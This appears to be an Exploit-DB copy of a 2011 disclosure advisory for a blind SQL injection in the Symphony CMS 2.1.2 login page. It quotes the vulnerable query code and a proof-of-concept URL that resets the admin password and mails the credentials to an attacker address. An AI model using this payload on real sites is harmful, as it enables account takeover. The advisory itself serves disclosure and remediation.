Symphony CMS 2.1.2 - Blind SQL Injection

EDB-ID:

17218

CVE:

N/A




Platform:

PHP

Date:

2011-04-27


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20110424 - Justanotherhacker.com : Symphony-cms blind sql injection
JAHx111 - http://www.justanotherhacker.com/advisories/JAHx111.txt
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Symphony is a web-based content management system (CMS) that enables users to create and 
manage websites and web applications of all shapes and sizes?from the simplest of blogs to 
bustling news sites and feature-packed social networks.
[ Taken from: http://symphony-cms.com/ ]


--- Vulnerability description ---
The symphony cms login page does not sufficiently filter user supplied variables used in a 
SQL statement, resulting in a blind sql injection vulnerability. The vulnerable code is located at:
content.login.php-270-$sql = "SELECT t1.`id`, t1.`email`, t1.`first_name`
content.login.php-271-            FROM `tbl_authors` as t1, `tbl_forgotpass` as t2
content.login.php:272:                WHERE t2.`token` = '".$_REQUEST['token']."' AND t1.`id` = t2.`author_id`
content.login.php-273-                LIMIT 1";
content.login.php-274-
content.login.php-275-$author = Symphony::Database()->fetchRow(0, $sql);

Discovered by: Eldar "Wireghoul" Marcussen
Type: Blind sql injection
Severity: Moderate
Release: Full
CVE: None
Vendor: Symphony-cms
Affected versions: 2.1.2 and possibly older versions

--- Proof of Concept ---
The following example will reset the password of the admin user which was created during installation 
(id 1) and send an email to 'evil@email.com' with the username and new password. 
http://example.com/symphony/login/?action=resetpass&token=-1'+union+select+id,'evil@email.com',username+from+tbl_authors+where+id+=1+--+

We are aided by the following code:
lib/toolkit/class.mysql.php:251:if($this->_connection['tbl_prefix'] != 'tbl_'){
lib/toolkit/class.mysql.php:252:    $query = preg_replace('/tbl_(\S+?)([\s\.,]|$)/', $this->_connection['tbl_prefix'].'\\1\\2', $query);
Which turn our tbl_authors into the appropriate prefixed table name. This essentially negates the use 
of custom prefix for tables.

--- Solution ---
Upgrade to version 2.2

--- Disclosure time line ---
24-Apr-2011 - Public disclosure